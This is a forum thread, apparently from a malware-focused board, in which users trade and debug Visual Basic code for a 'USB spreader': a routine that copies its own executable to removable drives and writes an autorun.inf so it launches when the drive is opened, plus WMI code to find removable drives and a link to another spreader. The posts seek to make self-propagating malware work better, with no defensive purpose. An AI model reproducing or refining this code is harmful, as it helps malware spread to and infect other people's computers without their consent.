+ Reply to Thread
Results 1 to 6 of 6

Thread: Usb Spread Help

  1. #1
    Member
    Join Date
    Jul 2008
    Posts
    85

    Usb Spread Help

    honestly i don't know much about usb spreading but i came up with this, can someone help me make it better and more efficient?
    Code:
    File = setup.exe
    FileCopy wfile, "d:\" & File
    FileCopy wfile, "e:\" & File
    
    Open "d:\autorun.inf" For Output As 1    
    Print #1, "[autorun]"
    Print #1, "open=setup.exe"
    Close #1,
    Open "e:\autorun.inf" For Output As 2                                        
    Print #2, "[autorun]"
    Print #2, "open=setup.exe"                                                                                
    Close #2

  2. #2
    Senior Member
    Join Date
    Dec 2006
    Location
    Austria
    Posts
    267

  3. #3
    Member
    Join Date
    Jul 2008
    Posts
    85
    I found this code,
    Code:
    Private Sub Form_Load()
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    
    Set colDisks = objWMIService.ExecQuery _
    ("Select * from Win32_LogicalDisk")
    
    For Each objDisk In colDisks
    	If objDisk.DriveType = 2 Then
    		msg = msg & "Name: " & objDisk.Name & vbCr
    	End If
    Next
    
    MsgBox msg
    End Sub
    The msgbox shows which drive the usbdrive is on, how can i add the filecopy api? I tried to add it 5 times, and it keeps coming up with errors.

  4. #4
    Senior Member
    Join Date
    Dec 2006
    Location
    Austria
    Posts
    267
    which errors?

  5. #5
    Member
    Join Date
    Jul 2008
    Posts
    85
    Quote Originally Posted by k0st0n View Post
    which errors?
    I tried to do it like this,

    Dim USB As String
    USB = objDisk.Name
    FileCopy App.Path & App.EXEName & ".exe", USB & "\test.exe"

    but, filenotfound error

  6. #6
    Senior Member stoopid's Avatar
    Join Date
    Jun 2008
    Location
    515
    Posts
    309
    I posted my USB spreader in another thread. Check it out as it may be of some help.

    http://www.opensc.ws/snippets/3643-i...b-devices.html

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Skype Spread
    By stoopid in forum General Programming Help
    Replies: 6
    Last Post: 09-05-2010, 20:26
  2. MSN Spread
    By stoopid in forum General Programming Help
    Replies: 7
    Last Post: 15-11-2008, 11:07
  3. RAT's that spread
    By Ace in forum Malware Discussion and General Help
    Replies: 7
    Last Post: 22-08-2008, 18:53
  4. spread file through share folders ???
    By Dark Angel in forum Delphi Help
    Replies: 7
    Last Post: 01-09-2005, 14:58

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.